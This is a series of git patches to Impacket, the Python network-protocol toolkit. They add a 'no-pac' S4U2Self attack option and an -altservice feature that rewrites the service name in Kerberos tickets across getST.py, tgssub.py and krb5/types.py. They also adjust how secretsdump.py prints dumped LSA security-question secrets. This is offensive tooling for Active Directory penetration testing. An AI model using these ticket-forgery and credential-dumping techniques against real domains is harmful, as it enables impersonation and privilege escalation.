Feb 2022 18:38:31 +0800 Subject: [PATCH 031/163] add support for no-pac s4u2self attack add s4u2self and alt-service parameter --- examples/getST.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 6c570792e..174834d86 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,4 +1,4 @@ -#!C:\Users\x\AppData\Local\Programs\Python\Python39\python.exe +#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. @@ -633,7 +633,7 @@ def run(self): # Do we have a TGT cached? tgt = None try: - ccache = CCache.loadFile(r'C:\Users\x\1\mimikatz_trunk\x64\WIN-ER6H1V81DV9.ccache') + ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) creds = ccache.getCredential(principal) From ad3eeff2932d1f980c976c9ae1b010031c0a0a3f Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 18:41:08 +0800 Subject: [PATCH 032/163] add alt_service parameter to from_asn1 method for ticket sname field modification --- impacket/krb5/types.py | 24 +++++++++++++++++------- 1 file changed, 17 insertions(+), 7 deletions(-) diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index d6a6cbc30..e851e1d15 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -48,13 +48,15 @@ class KerberosException(Exception): pass + def _asn1_decode(data, asn1Spec): - if isinstance(data, str) or isinstance(data,bytes): + if isinstance(data, str) or isinstance(data, bytes): data, substrate = decoder.decode(data, asn1Spec=asn1Spec) if substrate != b'': raise KerberosException("asn1 encoding invalid") return data + # A principal can be represented as: class Principal(object): @@ -65,6 +67,7 @@ class Principal(object): component is the realm If the value contains no realm, then default_realm will be used.""" + def __init__(self, value=None, default_realm=None, type=None): self.type = constants.PrincipalNameType.NT_UNKNOWN self.components = [] @@ -73,7 +76,7 @@ def __init__(self, value=None, default_realm=None, type=None): if value is None: return - try: # Python 2 + try: # Python 2 if isinstance(value, unicode): value = value.encode('utf-8') except NameError: # Python 3 @@ -115,12 +118,12 @@ def unquote_component(comp): self.type = type def __eq__(self, other): - if isinstance (other, str): - other = Principal (other) + if isinstance(other, str): + other = Principal(other) return (self.type == constants.PrincipalNameType.NT_UNKNOWN.value or other.type == constants.PrincipalNameType.NT_UNKNOWN.value or - self.type == other.type) and all (map (lambda a, b: a == b, self.components, other.components)) and \ + self.type == other.type) and all(map(lambda a, b: a == b, self.components, other.components)) and \ self.realm == other.realm def __str__(self): @@ -137,12 +140,14 @@ def __repr__(self): return "Principal((" + repr(self.components) + ", " + \ repr(self.realm) + "), t=" + str(self.type) + ")" - def from_asn1(self, data, realm_component, name_component): + def from_asn1(self, data, realm_component, name_component, alt_service=None): name = data.getComponentByName(name_component) self.type = constants.PrincipalNameType( name.getComponentByName('name-type')).value self.components = [ str(c) for c in name.getComponentByName('name-string')] + if name_component == "sname" and alt_service!=None: + self.components = alt_service.split('/') self.realm = str(data.getComponentByName(realm_component)) return self @@ -155,6 +160,7 @@ def components_to_asn1(self, name): return name + class Address(object): DIRECTIONAL_AP_REQ_SENDER = struct.pack('!I', 0) DIRECTIONAL_AP_REQ_RECIPIENT = struct.pack('!I', 1) @@ -193,6 +199,7 @@ def encode(self): # ipv4-mapped ipv6 addresses must be encoded as ipv4. pass + class EncryptedData(object): def __init__(self): self.etype = None @@ -217,6 +224,7 @@ def to_asn1(self, component): component.setComponentByName('cipher', self.ciphertext) return component + class Ticket(object): def __init__(self): # This is the kerberos version, not the service principal key @@ -243,7 +251,8 @@ def to_asn1(self, component): return component def __str__(self): - return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) + return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) + class KerberosTime(object): INDEFINITE = datetime.datetime(1970, 1, 1, 0, 0, 0) @@ -268,6 +277,7 @@ def from_asn1(data): raise KerberosException("timezone in KerberosTime is not Z") return datetime.datetime(year, month, day, hour, minute, second) + if __name__ == '__main__': # TODO marc: turn this into a real test print(Principal("marc")) From 125e946ff0d4f2c511c8ff80378f2ec49f3a56f1 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 18:43:31 +0800 Subject: [PATCH 033/163] add alt_service parameter to from_asn1 method for ticket sname field modification --- impacket/krb5/types.py | 20 ++++++-------------- 1 file changed, 6 insertions(+), 14 deletions(-) diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index e851e1d15..ae5be3454 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -48,15 +48,13 @@ class KerberosException(Exception): pass - def _asn1_decode(data, asn1Spec): - if isinstance(data, str) or isinstance(data, bytes): + if isinstance(data, str) or isinstance(data,bytes): data, substrate = decoder.decode(data, asn1Spec=asn1Spec) if substrate != b'': raise KerberosException("asn1 encoding invalid") return data - # A principal can be represented as: class Principal(object): @@ -67,7 +65,6 @@ class Principal(object): component is the realm If the value contains no realm, then default_realm will be used.""" - def __init__(self, value=None, default_realm=None, type=None): self.type = constants.PrincipalNameType.NT_UNKNOWN self.components = [] @@ -76,7 +73,7 @@ def __init__(self, value=None, default_realm=None, type=None): if value is None: return - try: # Python 2 + try: # Python 2 if isinstance(value, unicode): value = value.encode('utf-8') except NameError: # Python 3 @@ -118,12 +115,12 @@ def unquote_component(comp): self.type = type def __eq__(self, other): - if isinstance(other, str): - other = Principal(other) + if isinstance (other, str): + other = Principal (other) return (self.type == constants.PrincipalNameType.NT_UNKNOWN.value or other.type == constants.PrincipalNameType.NT_UNKNOWN.value or - self.type == other.type) and all(map(lambda a, b: a == b, self.components, other.components)) and \ + self.type == other.type) and all (map (lambda a, b: a == b, self.components, other.components)) and \ self.realm == other.realm def __str__(self): @@ -160,7 +157,6 @@ def components_to_asn1(self, name): return name - class Address(object): DIRECTIONAL_AP_REQ_SENDER = struct.pack('!I', 0) DIRECTIONAL_AP_REQ_RECIPIENT = struct.pack('!I', 1) @@ -199,7 +195,6 @@ def encode(self): # ipv4-mapped ipv6 addresses must be encoded as ipv4. pass - class EncryptedData(object): def __init__(self): self.etype = None @@ -224,7 +219,6 @@ def to_asn1(self, component): component.setComponentByName('cipher', self.ciphertext) return component - class Ticket(object): def __init__(self): # This is the kerberos version, not the service principal key @@ -251,8 +245,7 @@ def to_asn1(self, component): return component def __str__(self): - return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) - + return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) class KerberosTime(object): INDEFINITE = datetime.datetime(1970, 1, 1, 0, 0, 0) @@ -277,7 +270,6 @@ def from_asn1(data): raise KerberosException("timezone in KerberosTime is not Z") return datetime.datetime(year, month, day, hour, minute, second) - if __name__ == '__main__': # TODO marc: turn this into a real test print(Principal("marc")) From 34006d92ef27891cfe5d2cf1e885c851d402b278 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 19:01:32 +0800 Subject: [PATCH 034/163] add support for no-pac s4u2self attack add s4u2self and alt-service parameter --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 174834d86..9ca133ed8 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -741,7 +741,7 @@ def run(self): logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) - if options.alt_service.split('/') != 2: + if len(options.alt_service.split('/')) != 2: logging.critical('alt-service should be specified as service/host format') sys.exit(1) domain, username, password = parse_credentials(options.identity) From 97d5d35b080a01fef5cb77ead4c51f504ce3d8a1 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 19:16:49 +0800 Subject: [PATCH 035/163] add support for no-pac s4u2self attack add s4u2self and alt-service parameter --- examples/getST.py | 22 ++++++---------------- 1 file changed, 6 insertions(+), 16 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 9ca133ed8..35bedc407 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -82,21 +82,12 @@ def __init__(self, target, password, domain, options): if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') - def saveTicket(self, ticket, sessionKey,clientName=None, alt_service=None): - clientName=clientName.components[0] - if clientName!=None: - logging.info('Saving ticket in %s_s4u2self.ccache' % clientName) - ccache = CCache() - - ccache.fromTGS(ticket, sessionKey, sessionKey, alt_service) - ccache.saveFile('%s_s4u2self.ccache'% clientName) - else: - - logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) - ccache = CCache() + def saveTicket(self, ticket, sessionKey, alt_service=None): + logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) + ccache = CCache() - ccache.fromTGS(ticket, sessionKey, sessionKey) - ccache.saveFile(self.__saveFileName + '.ccache') + ccache.fromTGS(ticket, sessionKey, sessionKey, alt_service) + ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): if not os.path.isfile(additional_ticket_path): @@ -431,8 +422,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, r = sendReceive(message, self.__domain, kdcHost) if s4u2self: - self.saveTicket(r,sessionKey, clientName, alt_service) - return + return r, cipher, oldSessionKey, sessionKey tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: From a8402e0d3977c12d64021af89198582ea4977db6 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 19:21:03 +0800 Subject: [PATCH 036/163] add support for no-pac s4u2self attack add s4u2self and alt-service parameter --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 35bedc407..01dae17c0 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -676,7 +676,7 @@ def run(self): return self.__saveFileName = self.__options.impersonate - self.saveTicket(tgs, oldSessionKey) + self.saveTicket(tgs, oldSessionKey, options.alt_service) if __name__ == '__main__': From 5ffae1e0be0bd76ae04c5a02aef71cd595007409 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 18 Feb 2022 19:35:26 +0800 Subject: [PATCH 037/163] add support for no-pac s4u2self attack add s4u2self and alt-service parameter --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 01dae17c0..f297f5878 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -731,7 +731,7 @@ def run(self): logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) - if len(options.alt_service.split('/')) != 2: + if options.alt_service != None and len(options.alt_service.split('/')) != 2: logging.critical('alt-service should be specified as service/host format') sys.exit(1) domain, username, password = parse_credentials(options.identity) From 8253aedacd5e9940bfa949b80d90e3eb282b567a Mon Sep 17 00:00:00 2001 From: p0dalirius Date: Fri, 18 Feb 2022 13:33:17 +0100 Subject: [PATCH 038/163] Fixed printing of empty SQSA structures --- impacket/examples/secretsdump.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index 3dc13cf9e..341b1fb82 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -1570,12 +1570,13 @@ def __printSecret(self, name, secretItem): else: output = [] if strDecoded['version'] == 1: - output.append(" - Version : %d" % strDecoded['version']) - for qk in strDecoded['questions']: - output.append(" | Question: %s" % qk['question']) - output.append(" | |--> Answer: %s" % qk['answer']) - output = '\n'.join(output) - secret = 'Security Questions for user %s: \n%s' % (sid, output) + if len(strDecoded['questions']) != 0: + output.append(" - Version : %d" % strDecoded['version']) + for qk in strDecoded['questions']: + output.append(" | Question: %s" % qk['question']) + output.append(" | |--> Answer: %s" % qk['answer']) + output = '\n'.join(output) + secret = 'Security Questions for user %s: \n%s' % (sid, output) else: LOG.warning("Unknown SQSA version (%s), please open an issue with the following data so we can add a parser for it." % str(strDecoded['version'])) LOG.warning("Don't forget to remove sensitive content before sending the data in a Github issue.") From d12bfaba6381079d99df6dab89ade870de53d18f Mon Sep 17 00:00:00 2001 From: p0dalirius Date: Fri, 18 Feb 2022 13:53:49 +0100 Subject: [PATCH 039/163] Fixed printing of empty SQSA structures --- impacket/examples/secretsdump.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index 341b1fb82..9057837f8 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -1508,6 +1508,7 @@ def __printSecret(self, name, secretItem): # We don't support getting this info for local targets at the moment secret = self.UNKNOWN_USER + ':' secret += strDecoded + elif upperName.startswith('DEFAULTPASSWORD'): # defaults password for winlogon # Let's first try to decode the secret @@ -1527,6 +1528,7 @@ def __printSecret(self, name, secretItem): # We don't support getting this info for local targets at the moment secret = self.UNKNOWN_USER + ':' secret += strDecoded + elif upperName.startswith('ASPNET_WP_PASSWORD'): try: strDecoded = secretItem.decode('utf-16le') @@ -1534,6 +1536,7 @@ def __printSecret(self, name, secretItem): pass else: secret = 'ASPNET: %s' % strDecoded + elif upperName.startswith('DPAPI_SYSTEM'): # Decode the DPAPI Secrets dpapi = DPAPI_SYSTEM(secretItem) @@ -1559,13 +1562,14 @@ def __printSecret(self, name, secretItem): extrasecret = "%s:plain_password_hex:%s" % (printname, hexlify(secretItem).decode('utf-8')) self.__secretItems.append(extrasecret) self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret) + elif re.match('^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName) is not None: # Decode stored security questions sid = re.search('^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName).group(1) try: - strDecoded = secretItem.decode('utf-16le').replace('\xa0',' ') + strDecoded = secretItem.decode('utf-16le') strDecoded = json.loads(strDecoded) - except: + except Exception as e: pass else: output = [] @@ -1576,7 +1580,9 @@ def __printSecret(self, name, secretItem): output.append(" | Question: %s" % qk['question']) output.append(" | |--> Answer: %s" % qk['answer']) output = '\n'.join(output) - secret = 'Security Questions for user %s: \n%s' % (sid, output) + secret = 'Security questions for user %s: \n%s' % (sid, output) + else: + secret = 'Empty security questions for user %s.' % sid else: LOG.warning("Unknown SQSA version (%s), please open an issue with the following data so we can add a parser for it." % str(strDecoded['version'])) LOG.warning("Don't forget to remove sensitive content before sending the data in a Github issue.") From bdf6c0e9096912845c8e998f4f431b2b631e6ac1 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 19 Feb 2022 13:01:57 +0100 Subject: [PATCH 040/163] Adding altservice feature --- examples/getST.py | 231 +++++++++++++++++++++++++++------------------- 1 file changed, 134 insertions(+), 97 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 6df352271..a7ca923ea 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -84,10 +84,43 @@ def __init__(self, target, password, domain, options): self.__lmhash, self.__nthash = options.hashes.split(':') def saveTicket(self, ticket, sessionKey): - logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - ccache.fromTGS(ticket, sessionKey, sessionKey) + if self.__options.altservice is not None: + cred_number = len(ccache.credentials) + logging.debug('Number of credentials in cache: %d' % cred_number) + if cred_number > 1: + logging.debug("More than one credentials in cache, modifying all of them") + for creds in ccache.credentials: + sname = creds['server'].prettyPrint() + service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') + hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') + if '@' in self.__options.altservice: + new_service_realm = self.__options.altservice.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is not FQDN, you may encounter errors") + if '/' in self.__options.altservice: + new_hostname = self.__options.altservice.split('@')[0].split('/')[1] + new_service_class = self.__options.altservice.split('@')[0].split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = self.__options.altservice.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in self.__options.altservice: + new_hostname = self.__options.altservice.split('/')[1] + new_service_class = self.__options.altservice.split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = self.__options.altservice + new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) + logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) + creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): @@ -428,6 +461,15 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + if self.__no_s4u2proxy: + cipherText = tgs['enc-part']['cipher'] + plainText = cipher.decrypt(sessionKey, 8, cipherText) + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + return r, cipher, sessionKey, newSessionKey + if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print(tgs.prettyPrint()) @@ -506,129 +548,120 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) # put it back in the TGS tgs['ticket']['enc-part']['cipher'] = cipherText - if self.__no_s4u2proxy: - cipherText = tgs['enc-part']['cipher'] - plainText = cipher.decrypt(sessionKey, 8, cipherText) - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] - return r, cipher, sessionKey, newSessionKey - else: - ################################################################################ - # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy - # So here I have a ST for me.. I now want a ST for another service - # Extract the ticket from the TGT - ticketTGT = Ticket() - ticketTGT.from_asn1(decodedTGT['ticket']) + ################################################################################ + # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy + # So here I have a ST for me.. I now want a ST for another service + # Extract the ticket from the TGT + ticketTGT = Ticket() + ticketTGT.from_asn1(decodedTGT['ticket']) - # Get the service ticket - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) + # Get the service ticket + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticketTGT.to_asn1) + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticketTGT.to_asn1) - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') - seq_set(authenticator, 'cname', clientName.components_to_asn1) + seq_set(authenticator, 'cname', clientName.components_to_asn1) - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) - encodedAuthenticator = encoder.encode(authenticator) + encodedAuthenticator = encoder.encode(authenticator) - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - encodedApReq = encoder.encode(apReq) + encodedApReq = encoder.encode(apReq) - tgsReq = TGS_REQ() + tgsReq = TGS_REQ() - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq - # Add resource-based constrained delegation support - paPacOptions = PA_PAC_OPTIONS() - paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) + # Add resource-based constrained delegation support + paPacOptions = PA_PAC_OPTIONS() + paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) - tgsReq['padata'][1] = noValue - tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value - tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value + tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) - reqBody = seq_set(tgsReq, 'req-body') + reqBody = seq_set(tgsReq, 'req-body') - opts = list() - # This specified we're doing S4U - opts.append(constants.KDCOptions.cname_in_addl_tkt.value) - opts.append(constants.KDCOptions.canonicalize.value) - opts.append(constants.KDCOptions.forwardable.value) - opts.append(constants.KDCOptions.renewable.value) + opts = list() + # This specified we're doing S4U + opts.append(constants.KDCOptions.cname_in_addl_tkt.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) - reqBody['kdc-options'] = constants.encodeFlags(opts) - service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - seq_set(reqBody, 'sname', service2.components_to_asn1) - reqBody['realm'] = self.__domain + reqBody['kdc-options'] = constants.encodeFlags(opts) + service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + seq_set(reqBody, 'sname', service2.components_to_asn1) + reqBody['realm'] = self.__domain - myTicket = ticket.to_asn1(TicketAsn1()) - seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) - reqBody['till'] = KerberosTime.to_asn1(now) - reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) - message = encoder.encode(tgsReq) + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) - logging.info('\tRequesting S4U2Proxy') - r = sendReceive(message, self.__domain, kdcHost) + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - cipherText = tgs['enc-part']['cipher'] + cipherText = tgs['enc-part']['cipher'] - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] - return r, cipher, sessionKey, newSessionKey + return r, cipher, sessionKey, newSessionKey def run(self): @@ -664,7 +697,10 @@ def run(self): if self.__options.impersonate is None: # Normal TGS interaction logging.info('Getting ST for user') - serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + if self.__no_s4u2proxy and self.__options.spn is not None: + serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + else: + serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) self.__saveFileName = self.__user else: @@ -699,6 +735,7 @@ def run(self): parser.add_argument('identity', action='store', help='[domain/]username[:password]') parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' 'service ticket will' ' be generated for') + parser.add_argument('-altservice', action="store", help='New sname/SPN to set in the ticket') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' 'the identity provided in this scripts is allowed for ' From d056f09e4f6d8b420751a549753a50d3dc9205c5 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 19 Feb 2022 13:19:46 +0100 Subject: [PATCH 041/163] Handling exception where ticket's service is not formatted like class/hotsname --- examples/tgssub.py | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/examples/tgssub.py b/examples/tgssub.py index 4448a82b9..5040aba4b 100755 --- a/examples/tgssub.py +++ b/examples/tgssub.py @@ -31,15 +31,23 @@ def substitute_sname(args): ccache = CCache.loadFile(args.inticket) - cred_number = 0 - logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) + cred_number = len(ccache.credentials) + logging.info('Number of credentials in cache: %d' % cred_number) if cred_number > 1: logging.debug("More than one credentials in cache, modifying all of them") for creds in ccache.credentials: sname = creds['server'].prettyPrint() - service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') - hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') + if b'/' not in sname: + logging.debug("Original service is not formatted as usual (i.e. CLASS/HOSTNAME@REALM), automatically filling the substitution service will fail") + if '/' not in args.altservice: + raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + service_class = "" + hostname = sname.split(b'@')[0].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') + else: + service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') + hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') if '@' in args.altservice: new_service_realm = args.altservice.split('@')[1].upper() if not '.' in new_service_realm: @@ -76,6 +84,7 @@ def parse_args(): parser.add_argument('-in', dest='inticket', action="store", metavar="TICKET.CCACHE", help='input ticket to modify', required=True) parser.add_argument('-out', dest='outticket', action="store", metavar="TICKET.CCACHE", help='output ticket', required=True) parser.add_argument('-altservice', action="store", metavar="SERVICE", help='New sname/SPN', required=True) + parser.add_argument('-force', action='store_true', help='Force the service substitution without taking the original into consideration') if len(sys.argv) == 1: parser.print_help() From 533b1249178b4553ac6321b16be5cb6693c0bec8 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 